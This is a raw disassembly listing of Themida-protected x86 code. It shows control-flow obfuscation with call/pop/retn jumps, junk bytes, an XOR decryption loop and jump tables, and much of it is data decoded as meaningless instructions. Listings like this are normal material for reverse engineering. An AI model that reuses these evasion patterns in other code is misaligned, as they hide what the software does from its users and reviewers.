		dd 0F59743A5h, 0AD85896Dh, 8307FA25h, 840F00F8h, 9Ch, 5860Fh
		dd 8ABA0000h, 83508982h, 850F02F8h, 4Fh, 6860Fh, 95030000h
		dd 7FA145Dh, 4583858Dh,	820F07FAh, 3, 2D36E280h, 929h
		dd 8BCF8A60h, 0FA14B9B5h, 0E8506107h, 0Bh, 0F6E873B2h
		dd 0DB42AA63h, 66289700h, 895BD08Bh, 0BF0F2404h, 5EB2C3D3h
		dd 18E0Fh, 0B8FC0000h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58A87B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A87B	proc near		; CODE XREF: Themida_:0058A873p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_58A87B	endp

; ---------------------------------------------------------------------------
		db 6Ch
; ---------------------------------------------------------------------------
		addps	xmm7, oword ptr	ds:0D4C8CD01h
		cld
		mov	edx, 5185C3ABh
		jmp	loc_58AAF2
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7FA001Dh]
		mov	eax, 1
		push	0
		push	ebp
		call	sub_58A8B4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A8B4	proc near		; CODE XREF: Themida_:0058A8ACp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_58A8B4	endp

; ---------------------------------------------------------------------------
		dd 6CC9DF93h, 59FCF4F4h, 8D958B68h, 8D07FA27h, 0FA4588BDh
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0D74A33DBh, 0F1A9965Bh, 6E9h, 0C773BF00h
		dd 0E9775C70h, 0B2h, 1F59958Bh,	0BD0107FAh, 7FA00D1h, 0F02F883h
		dd 6685h, 0A1BB6600h, 80BD8D31h, 0E807FA47h, 10h, 4AA3EFE3h
		dd 0CC9BF27h, 5584719h,	3E73082Ch, 5E8h, 0EAEC6D00h, 28BA828Ch
		dd 5A671170h, 68E95Ah, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 850F22C3h, 3,	0FD9B70Fh
		dd 682h, 259D8B00h, 8307FA06h, 850F03F8h, 14h, 0BD8DD68Bh
		dd 7FA4914h, 0E9D6B70Fh, 1Eh, 0E7CDBA66h, 0F05F883h, 1185h
		dd 93E900h, 95290000h, 7FA291Dh, 1E799589h, 895707FAh
		dd 0FA18E585h, 0F03AB907h, 890F505Dh, 3, 83DEB70Fh, 840F003Fh
		dd 69h,	2E1958Bh, 9D8B07FAh, 7FA2B19h, 6A0F30h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8B6665C3h, 6AC9D1D1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 5B5CC351h, 0DA97A265h
		dd 47E62CBBh, 3820Fh, 8B660000h, 0FF95E9DEh, 0DE80FFFFh
		dd 0B1BB66FFh, 5F8834Fh, 0A4850Fh, 0DE80000h, 71000000h
		dd 86BB725h, 3683F648h,	0B2EF5AEh, 2779958Bh, 665A07FAh
		dd 9529D98Ch, 7FA0DD9h,	0F04C1F6h, 6885h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 111FF1E0h, 10D9D8Bh,	0B807FAh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 83D9C356h, 36068B3h,	0FA204595h, 0BDEF8107h,	61438784h
		dd 25718D89h, 17E907FAh, 33000000h, 0FA17F995h,	0E9858B07h
		dd 0F07FA29h, 0E0FFD3B7h, 0B3D8D89h
; ---------------------------------------------------------------------------
		cli
		pop	es


loc_58AAF2:				; CODE XREF: Themida_:0058A899j
		cmp	dword ptr [ebp+7FA0EBDh], 0
		jnz	loc_58ABE0
		mov	edx, 5373E0E0h
		push	eax
		call	near ptr loc_58AB0E+3
		dec	edi
		db	66h
		loopne	near ptr loc_58AB2A+2


loc_58AB0E:				; CODE XREF: Themida_:0058AB05p
		xchg	ebp, [edx+edi*8-45h]
		cmp	[ebx], esi
		push	ebp
		sub	[ebx-77h], ebx
		add	al, 24h
		push	0
		push	esi
		call	sub_58AB25
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AB25	proc near		; CODE XREF: Themida_:0058AB1Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi


loc_58AB2A:				; CODE XREF: Themida_:0058AB0Bj
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58AB25	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		mov	dx, 0A7C9h
		mov	byte ptr [ebp+7FA0665h], 45h
		push	0
		push	edx
		call	sub_58AB4C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AB4C	proc near		; CODE XREF: Themida_:0058AB44p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_58AB4C	endp

; ---------------------------------------------------------------------------
		push	ds
		add	[eax], ebp
		mov	dx, di
		or	edx, 2A299BBh
		push	0C3B76BB5h
		mov	bx, ax
		xor	dword ptr [esp], 4DC502DCh
		mov	ebx, ecx
		push	dword ptr [ebp+7FA08A5h]
		mov	[ebp+7FA11A1h],	edi
		lea	eax, [ebp+7FA3AE2h]
		jmp	loc_58AB99
; ---------------------------------------------------------------------------
		dd 1A63A6BBh, 0A9BB6DA9h
		db 0ECh
; ---------------------------------------------------------------------------


loc_58AB99:				; CODE XREF: Themida_:0058AB8Bj
		call	eax
		mov	[ebp+7FA17BDh],	ecx
		mov	[ebp+7FA0EBDh],	eax
		push	0
		push	ebx
		call	sub_58ABB2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ABB2	proc near		; CODE XREF: Themida_:0058ABAAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_58ABB2	endp

; ---------------------------------------------------------------------------
		dw 467Dh
		dd 8B4CF82Ah, 0FA33C595h, 8C0F5807h, 0Ch, 6800Fh, 8A0F0000h
		dd 0
; ---------------------------------------------------------------------------


loc_58ABE0:				; CODE XREF: Themida_:0058AAF9j
		cmp	dword ptr [ebp+7FA4F57h], 0
		jz	loc_58AC11
		movsx	ebx, si
		pusha
		mov	ecx, 163B8B7Eh
		mov	edx, [ebp+7FA1CFDh]
		popa
		push	dword ptr [ebp+7FA212Dh]
		sbb	bh, 0B8h
		call	dword ptr [ebp+7FA0EBDh]
		add	bx, 0F290h


loc_58AC11:				; CODE XREF: Themida_:0058ABE7j
		cmp	eax, 0
		jnz	loc_58AD06
		cmp	dword ptr [ebp+7FA0789h], 0
		jz	loc_58ACA3
		jmp	loc_58AC36
; ---------------------------------------------------------------------------
		fld	dword ptr [ecx-4ACE09Dh]
		sub	al, 26h
		test	al, 0BBh


loc_58AC36:				; CODE XREF: Themida_:0058AC27j
		mov	ebx, ecx
		push	dword ptr [ebp+7FA0789h]
		mov	[ebp+7FA1E55h],	edi
		call	sub_58AC55
		db	65h
		xchg	eax, esi
		retn
; ---------------------------------------------------------------------------
		dd 13C8526Fh, 0EF2F45D5h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_58AC55	proc near		; CODE XREF: Themida_:0058AC44p
		call	near ptr loc_58AC67+1
		sub	al, 0ECh
		cmp	ebx, [ecx+2Dh]
		push	edx
		push	cs
		fistp	word ptr [edx]
		lodsd
		xchg	esi, [ebp+0Ch]


loc_58AC67:				; CODE XREF: sub_58AC55p
		mov	edx, gs:[ebp+7FA0165h]
sub_58AC55	endp ; sp-analysis failed

		pop	ebx
		pop	edx
		mov	eax, 1
		jmp	loc_58AC85
; ---------------------------------------------------------------------------
		dw 0CC4Ah
		dd 4DE2805h, 5C8E138Bh
		db 0B5h
; ---------------------------------------------------------------------------


loc_58AC85:				; CODE XREF: Themida_:0058AC75j
		jmp	loc_58AE91
; ---------------------------------------------------------------------------
		jmp	loc_58ACA3
; ---------------------------------------------------------------------------
		db 0D2h
		dd 3382A06h, 0C89597E3h, 64884E0Ch, 0C5580728h
		db 0E6h, 0ACh, 0B2h
; ---------------------------------------------------------------------------


loc_58ACA3:				; CODE XREF: Themida_:0058AC21j
					; Themida_:0058AC8Aj
		push	dword ptr [ebp+7FA212Dh]
		jnp	loc_58ACB5
		xor	[ebp+7FA298Dh],	edx


loc_58ACB5:				; CODE XREF: Themida_:0058ACA9j
		push	dword ptr [ebp+7FA212Dh]
		push	0
		push	ebp
		call	sub_58ACC6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ACC6	proc near		; CODE XREF: Themida_:0058ACBEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_58ACC6	endp

; ---------------------------------------------------------------------------
		aad	0E3h
		inc	ecx
		pop	esp
		jmp	loc_58ACE9
; ---------------------------------------------------------------------------
		db 0E3h
		dd 14A29061h, 6FA97C25h
		db 18h
; ---------------------------------------------------------------------------


loc_58ACE9:				; CODE XREF: Themida_:0058ACDAj
		push	dword ptr [ebp+7FA0EBDh]
		jmp	loc_58ACFE
; ---------------------------------------------------------------------------
		dd 0F842497Ch, 2FAC39B4h
		db 6Ch,	0E2h
; ---------------------------------------------------------------------------


loc_58ACFE:				; CODE XREF: Themida_:0058ACEFj
		jmp	loc_58AE91
; ---------------------------------------------------------------------------
		mov	dx, bx


loc_58AD06:				; CODE XREF: Themida_:0058AC14j
		pop	edi
		mov	edx, [ebp+7FA1585h]
		cmp	dword ptr [ebp+7FA2AE5h], 0
		jnz	loc_58ADCE
		push	0
		push	edx
		call	sub_58AD25
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AD25	proc near		; CODE XREF: Themida_:0058AD1Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_58AD25	endp

; ---------------------------------------------------------------------------
		mov	cl, [ebx+1]
		ror	dword ptr [edx-62766712h], cl
		jno	short loc_58AD4B
		cli
		pop	es
		mov	byte ptr [ebp+7FA0665h], 4Dh
		push	0


loc_58AD4B:				; CODE XREF: Themida_:0058AD3Ej
		push	eax
		call	sub_58AD54
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AD54	proc near		; CODE XREF: Themida_:0058AD4Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58AD54	endp

; ---------------------------------------------------------------------------
		mov	ebp, 0DEB70F62h
		push	6DCF83F9h
		mov	dx, si
		add	dword ptr [esp], 3665F2AFh
		mov	ebx, [ebp+7FA2D4Dh]
		push	dword ptr [ebp+7FA0515h]
		mov	edx, [ebp+7FA11A1h]
		lea	eax, [ebp+7FA3AE2h]
		add	[ebp+7FA33F9h],	eax
		call	eax
		push	0
		push	ecx
		call	sub_58ADA3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ADA3	proc near		; CODE XREF: Themida_:0058AD9Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_58ADA3	endp

; ---------------------------------------------------------------------------
		db 0F8h
		dd 9B8B6C26h, 0B5319403h, 7FA30CDh, 2AE58589h, 8B0F07FAh
		dd 2
; ---------------------------------------------------------------------------
		mov	bl, 52h


loc_58ADCE:				; CODE XREF: Themida_:0058AD14j
		mov	eax, 0
		mov	bl, 2Eh
		mov	[ebp+7FA4F00h],	edi
		push	0
		push	edx
		call	sub_58ADE6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ADE6	proc near		; CODE XREF: Themida_:0058ADDEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58ADE6	endp

; ---------------------------------------------------------------------------
		dw 0D3F3h
		dd 0CAE5601Ch, 49DC9887h, 195BD89h, 0CE8007FAh,	0FC00B7Eh
		dd 2884h, 85895300h, 7FA1895h, 73E95Ah,	0FE80000h, 0CA000000h
		dd 0F91B2736h, 6AE03203h, 5D8436E9h, 952912C2h,	7FA0FE5h
		dd 0BDB5FF5Ah, 2907FA0Eh, 0FA2689B5h, 8A858D07h, 6A07FCD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 4DE9C356h, 0AE850F5h, 0FF000000h,	0F755AC9Fh
		dd 0B00BE280h, 0F0BB667Bh, 4895AF8h, 5E924h, 68240000h
		dd 8B84D9BEh, 0FA0CE99Dh
; ---------------------------------------------------------------------------
		pop	es


loc_58AE91:				; CODE XREF: Themida_:loc_58AC85j
					; Themida_:loc_58ACFEj
		push	eax
		push	esi
		lea	edi, [ebp+7FA56FDh]
		lea	ecx, [ebp+7FA7A65h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_58AEA6:				; CODE XREF: Themida_:0058AEACj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_58AEA6
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+7FA0789h], 0
		jz	short loc_58AEBF
		mov	ecx, [ebp+7FA1009h]


loc_58AEBF:				; CODE XREF: Themida_:0058AEB7j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_58AF76
		cmp	dword ptr [ebp+7FA2BE9h], 0
		jz	short loc_58AEDD
		call	dword ptr [ebp+7FA3125h]


loc_58AEDD:				; CODE XREF: Themida_:0058AED5j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_58AEEF
		cmp	dword ptr [ebp+7FA4F08h], 1
		jz	short loc_58AEF8


loc_58AEEF:				; CODE XREF: Themida_:0058AEE4j
		cmp	dword ptr [ebp+7FA4F08h], 2
		jnz	short loc_58AF06


loc_58AEF8:				; CODE XREF: Themida_:0058AEEDj
		mov	esi, [ebp+7FA4F00h]
		lea	eax, [ebp+7FCD38Ah]
		call	eax


loc_58AF06:				; CODE XREF: Themida_:0058AEF6j
		cmp	dword ptr [ebp+7FA26F1h], 0
		jz	short loc_58AF15
		call	dword ptr [ebp+7FA1521h]


loc_58AF15:				; CODE XREF: Themida_:0058AF0Dj
		lea	eax, [ebp+7FA4354h]
		call	eax
		cmp	dword ptr [ebp+7FA0B75h], 2
		jnz	short loc_58AF55
		mov	esp, [ebp+7FA2DB1h]
		mov	eax, [ebp+7FA0789h]
		mov	[esp], eax
		mov	dword ptr [ebp+7FA0671h], 1
		mov	esi, [ebp+7FA4F04h]
		mov	ebp, [ebp+7FA1DD5h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_58AF55:				; CODE XREF: Themida_:0058AF24j
		mov	dword ptr [ebp+7FA0671h], 1
		mov	esp, [ebp+7FA2DB1h]
		mov	esi, [ebp+7FA32C5h]
		mov	ebp, [ebp+7FA1DD5h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58AF76:				; CODE XREF: Themida_:0058AEC8j
		cmp	dword ptr [ebp+7FA26F1h], 0
		jz	short loc_58AF8E
		cmp	dword ptr [ebp+7FA1521h], 0
		jz	short loc_58AF8E
		call	dword ptr [ebp+7FA1521h]


loc_58AF8E:				; CODE XREF: Themida_:0058AF7Dj
					; Themida_:0058AF86j
		mov	esi, [ebp+7FA4F00h]
		retn
; ---------------------------------------------------------------------------
		db 0Fh,	81h, 18h
		dd 0E8000000h, 0Ch, 0C8AE73F8h,	65B218FFh, 49155953h, 2C58D89h
		dd 0F5A07FAh, 0BADEBFh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D6BEC355h
		dd 5648683Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_58AFEC
; ---------------------------------------------------------------------------


loc_58AFEA:				; CODE XREF: Themida_:0058AFEFj
		inc	eax
		inc	edi


loc_58AFEC:				; CODE XREF: Themida_:0058AFE8j
		cmp	byte ptr [edi],	0
		jnz	short loc_58AFEA
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_58B01B
; ---------------------------------------------------------------------------


loc_58AFF8:				; CODE XREF: Themida_:0058B01Dj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_58B010
; ---------------------------------------------------------------------------


loc_58B00D:				; CODE XREF: Themida_:0058B013j
		mul	ebx
		dec	esi


loc_58B010:				; CODE XREF: Themida_:0058B00Bj
		cmp	esi, 0
		ja	short loc_58B00D
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_58B01B:				; CODE XREF: Themida_:0058AFF6j
		or	eax, eax
		jnz	short loc_58AFF8
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		js	loc_58B035
		mov	ebx, [ebp+7FA1435h]


loc_58B035:				; CODE XREF: Themida_:0058B029j
		jmp	loc_58B04D
; ---------------------------------------------------------------------------
		cmp	bh, dl
		mov	ecx, 25150DEEh
		push	ebx
		sbb	[edx+edi*2], edi
		pop	ss
		xchg	eax, ebp
		dec	eax
		std
		cld
		xor	[eax-0Dh], dl


loc_58B04D:				; CODE XREF: Themida_:loc_58839Cj
					; Themida_:loc_58B035j
		mov	eax, ecx
		jmp	loc_5AFE44
; ---------------------------------------------------------------------------
		dd 12FEF4h, 6092B1h, 607876h, 26D0023h,	12FFE0h, 26D001Bh
		dd 6092B1h, 212h, 2, 2 dup(1), 0F85E3441h, 5 dup(0)
		dd offset loc_58DD06
		dd offset loc_58BC2D
		dd offset loc_590F10
		dd offset loc_59825F
		dd offset loc_593BF7
		dd offset loc_58B8BE
		dd offset loc_58F3A6
		dd offset loc_590A1F
		dd offset dword_596704
		dd offset loc_58B7DE
		dd offset loc_58B802
		dd offset loc_58D671
		dd offset loc_592D55
		dd offset loc_5916BD
		dd offset loc_58CE42
		dd offset loc_59154E
		dd offset loc_58FB9F
		dd offset loc_58B6FE
		dd offset loc_592E4B
		dd offset loc_58E3C5
		dd offset loc_596349
		dd offset loc_58EE9C
		dd offset loc_592614
		dd offset loc_58D52E
		dd offset loc_58E71F
		dd offset loc_596EE3
		dd offset loc_58FF14
		dd offset loc_597C38
		dd offset loc_59739F
		dd offset loc_58F223
		dd offset loc_591895
		dd offset loc_5980B3
		dd offset loc_5941E1
		dd offset loc_58CA6B
		dd offset loc_597D9D
		dd offset sub_59196D
		dd offset sub_58CA8D
		dd offset loc_5955EE
		dd offset sub_58E916
		dd offset loc_595C1A
		dd offset loc_594EEA
		dd offset loc_58D801
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0D5h, 58h, 0
; ---------------------------------------------------------------------------
		enter	58E1h, 0
		xchg	eax, ecx
		sub	al, 59h
		add	[edi-12h], dh
		pop	eax
		add	[ecx+7Ch], ah
		pop	ecx
		add	[ebp+59h], ah
		add	[esi-1DFFA6DFh], dl
		pop	edx
		pop	ecx
		add	[eax+33h], bh
		pop	ecx
		add	[edi+7B0058B9h], cl
		jl	short near ptr loc_58B1C3+1
		add	[ebx+3Eh], ch
		pop	ecx
		add	[edi-4Ah], cl
		pop	eax
		add	bl, cl
		pop	ecx
		pop	ecx
		add	[eax-23h], dh
		pop	eax
		add	[eax+42005985h], cl
		and	bl, [ecx+0]
		jmp	short loc_58B1B4
; ---------------------------------------------------------------------------
		dw 59h
		dd offset loc_59248D
		dd offset loc_592302
		dd offset loc_596131
		dd offset sub_58EE14
		dd offset loc_59707B
		dd offset loc_593563
		dd offset sub_58E4E8
		dd offset sub_590B8E
		dd offset sub_58D61F
		dd offset loc_594359
; ---------------------------------------------------------------------------
		jmp	short loc_58B211
; ---------------------------------------------------------------------------
		dw 59h
; ---------------------------------------------------------------------------


loc_58B1B4:				; CODE XREF: Themida_:0058B184j
		test	gs:[ecx+0], ebx
		or	dword ptr [eax+59h], 0
		xlat
		sbb	byte ptr [ecx+0], 0A2h
		std
		pop	eax


loc_58B1C3:				; CODE XREF: Themida_:0058B169j
		add	ds:1D00592Bh, dl
		sub	bl, [ecx+0]
		sub	al, bl
		pop	eax
		add	bl, ch
		sbb	ebx, [ecx+0]
		jmp	near ptr 0BF590AFBh
; ---------------------------------------------------------------------------
		db 0EAh, 58h, 0
		dd offset loc_590C22
		dd offset loc_596241
		dd offset sub_5902D0
		dd offset sub_590792
		dd offset sub_58FD91
		dd offset sub_591526
		dd offset loc_59553C
		dd offset loc_5962B8
		dd offset sub_58CF35
		dd offset loc_592ADE
		dd offset loc_5927AE
		dd offset sub_58BF03
; ---------------------------------------------------------------------------
		retn	596Dh
; ---------------------------------------------------------------------------
		align 10h
		push	edi


loc_58B211:				; CODE XREF: Themida_:0058B1B0j
		dec	ebx
		pop	ecx
		add	[ebp-42FFA6FDh], dh
		xor	al, 59h
		add	[eax], cl
		repne pop eax
		add	[ecx+34h], ah
		pop	ecx
		add	[eax-7AFFA728h], cl
		or	bl, [ecx+0]
		pushf
		inc	eax
		pop	ecx
		add	[edi-34h], dl
		pop	eax
		add	[edx+24h], bl
		pop	ecx
		add	[esi], cl
		popa
		pop	ecx
		add	[eax], dl
		out	58h, al
		add	[ebp+13h], cl
		pop	ecx
		add	[ebx], cl
		ja	short loc_58B2A0
		add	ah, bl
		dec	ebx
		pop	ecx
		add	dh, ch
		cmp	eax, 10FE0059h
		pop	ecx
		add	[edi-41FFA707h], ch
		sub	bl, [ecx+0]
		dec	esi
		pop	edx
		pop	ecx
		add	[edx+ecx*8], cl
		pop	eax
		add	al, cl
		sbb	dword ptr [ecx+0], offset loc_5937D3
		popf
		pop	edi
		pop	ecx
		add	[ebx], bh
		mulps	xmm0, oword ptr	[eax]
		jmp	short near ptr loc_58B2CB+2
; ---------------------------------------------------------------------------
		pop	ecx
		add	[esi+ecx-0B15FFA7h], cl
		pop	eax
		add	[esi], bl
		retf	58h
; ---------------------------------------------------------------------------
		mov	ebx, 0DEDE0058h
		pop	eax
		add	[eax+57005974h], ah
		mov	dh, 58h
		add	[eax], bl
		xor	ebx, [ecx+0]
		mov	ebp, [ecx]
		pop	ecx
		add	ch, dh
		fistp	word ptr [eax+0]


loc_58B2A0:				; CODE XREF: Themida_:0058B245j
		ja	short loc_58B2EF
		pop	ecx
		add	[ebx+4Eh], dh
		pop	ecx
		add	[ebp-6BFFA711h], bh
		imul	ebx, [ecx+0], 5942A7h
		pop	esp
		mov	bh, 58h
		add	ds:0AB005942h, al
		setalc
		pop	eax
		add	[esi], dh
		inc	eax
		pop	ecx
		add	[esp+esi*8+58h], dh
		add	[eax-7Dh], al
		pop	ecx


loc_58B2CB:				; CODE XREF: Themida_:0058B274j
		add	[esi+7Eh], dh
		pop	ecx
		add	[esi-67FFA685h], al
		mov	byte ptr [eax+0], 1Ch
		push	eax
		pop	ecx
		add	bl, bh
		lds	ebx, [eax+0]
		in	eax, dx
		push	ecx
		pop	ecx
		add	[ebp-17FFA73Fh], dh
		out	dx, eax
		pop	eax
		add	[edi], bh
		pop	esp
		pop	ecx


loc_58B2EF:				; CODE XREF: Themida_:loc_58B2A0j
		add	[esi+ecx*2+59h], bh
		add	al, ah
		xor	eax, 6A730059h
		pop	ecx
		add	[ebx], bl
		jge	short near ptr loc_58B355+3
		add	[esi-4DFFA6A6h], ah
		push	59h
		add	ch, cl
		in	eax, dx
		pop	eax
		add	[edx], dl
		sbb	eax, 47800059h
		pop	ecx
		add	[esi-17FFA73Bh], dl
		mov	ah, 58h
		add	[ebx], dh
		sub	ebx, [ecx+0]
		rcr	esp, 58h
		add	dh, ch
		sub	al, 59h
		add	bl, ah
		push	cs
		pop	ecx
		add	[edx+53h], ch
		pop	ecx
; ---------------------------------------------------------------------------
		db 0
		dd offset loc_59170D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC3B6


loc_58B334:				; CODE XREF: Themida_:005AFF68j
					; Themida_:005AFF72j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7FA7EFBh
		mov	eax, edi
		add	edi, 7FA7C13h
		cmp	eax, [edi+2Ch]
		jnz	short loc_58B352
		jmp	short loc_58B365
; ---------------------------------------------------------------------------


loc_58B352:				; CODE XREF: sub_5EC3B6-61068j
		mov	[edi+2Ch], eax


loc_58B355:				; CODE XREF: Themida_:0058B2FDj
		mov	ecx, 0A7h
		jmp	short loc_58B361
; ---------------------------------------------------------------------------


loc_58B35C:				; CODE XREF: sub_5EC3B6-61053j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58B361:				; CODE XREF: sub_5EC3B6-6105Cj
		or	ecx, ecx
		jnz	short loc_58B35C


loc_58B365:				; CODE XREF: sub_5EC3B6-61066j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58B372:				; CODE XREF: sub_5EC3B6-6103Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58B372
; END OF FUNCTION CHUNK	FOR sub_5EC3B6
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B37B:				; CODE XREF: sub_59196D-6511j
					; sub_59196D-63A8j ...
		lodsb
		sub	al, 94h
		add	al, 0BEh
		sub	al, bl
		sub	esp, 4
		jmp	loc_5960AC
; ---------------------------------------------------------------------------


loc_58B38A:				; CODE XREF: sub_59196D+564Bj
		sub	edx, 37704DADh
		add	edx, eax
		add	edx, 37704DADh
		push	eax
		mov	eax, 22434C48h
		push	ecx
		jmp	loc_5917AA
; ---------------------------------------------------------------------------


loc_58B3A4:				; CODE XREF: sub_59196D-5191j
		and	al, 35h
		sub	al, 63h
		add	bh, al
		pop	eax
		and	al, bh
		pop	ebx
		sub	al, 0FEh
		xor	dh, al
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58C01B
; ---------------------------------------------------------------------------


loc_58B3C0:				; CODE XREF: sub_59196D+4E62j
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_593069
; ---------------------------------------------------------------------------


loc_58B3CB:				; CODE XREF: sub_59196D+565Aj
		push	esp
		pop	ecx
		push	47Ah
		mov	[esp+0], eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp+0]
		add	esp, 4
		sub	ecx, 2
		push	ecx
		push	[esp+arg_0]
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_594127
; ---------------------------------------------------------------------------


loc_58B402:				; CODE XREF: sub_59196D-2417j
		mov	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp-4+arg_0], ebp
		push	edi
		push	eax
		mov	eax, 774D5077h
		and	eax, 77C95CF7h
		and	eax, 461B4D2Eh
		jmp	loc_590B5E
; ---------------------------------------------------------------------------


loc_58B421:				; CODE XREF: sub_59196D+1678j
		push	eax
		jmp	loc_596CD6
; ---------------------------------------------------------------------------


loc_58B427:				; CODE XREF: sub_59196D+26E9j
		add	edx, esi
		jmp	loc_591302
; ---------------------------------------------------------------------------


loc_58B42E:				; CODE XREF: sub_59196D+F5j
		mov	ebp, 31552CF4h
		jmp	loc_595085
; ---------------------------------------------------------------------------


loc_58B438:				; CODE XREF: sub_59196D+193Aj
		push	edx
		mov	edx, 45232547h
		push	eax
		jmp	loc_58EDE3
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590792


loc_58B444:				; CODE XREF: sub_590792-4843j
		mov	cl, bl
		pop	ebx
		pop	edx
		jmp	loc_58C6A9
; END OF FUNCTION CHUNK	FOR sub_590792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B44D:				; CODE XREF: sub_59196D-22j
		pop	edx
		add	esi, ebp
		pop	ebp
		add	esi, 2
		xchg	esi, [esp+8+var_8]
		pop	esp
		shl	[esp+4+var_4], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58B461:				; CODE XREF: sub_59196D:loc_58F91Aj
		or	ebp, 5D4D7C8Eh
		jno	loc_58BF80
		sub	ebp, 0FF7D7ECDh
		mov	bl, 6Ah
		pop	edx


loc_58B477:				; CODE XREF: sub_59196D+4609j
		dec	ecx
		or	ecx, 18B032E8h
		shr	ecx, 3
		not	ecx
		xor	ecx, 0A8687ABEh
		add	edx, ecx
		jmp	loc_590421
; ---------------------------------------------------------------------------


loc_58B490:				; CODE XREF: sub_59196D+4F0Bj
		mov	edi, [esp+4+var_4]
		jmp	loc_59258F
; ---------------------------------------------------------------------------


loc_58B498:				; CODE XREF: sub_59196D-59E1j
					; sub_59196D-541Cj
		inc	ah
		jmp	loc_5970AA
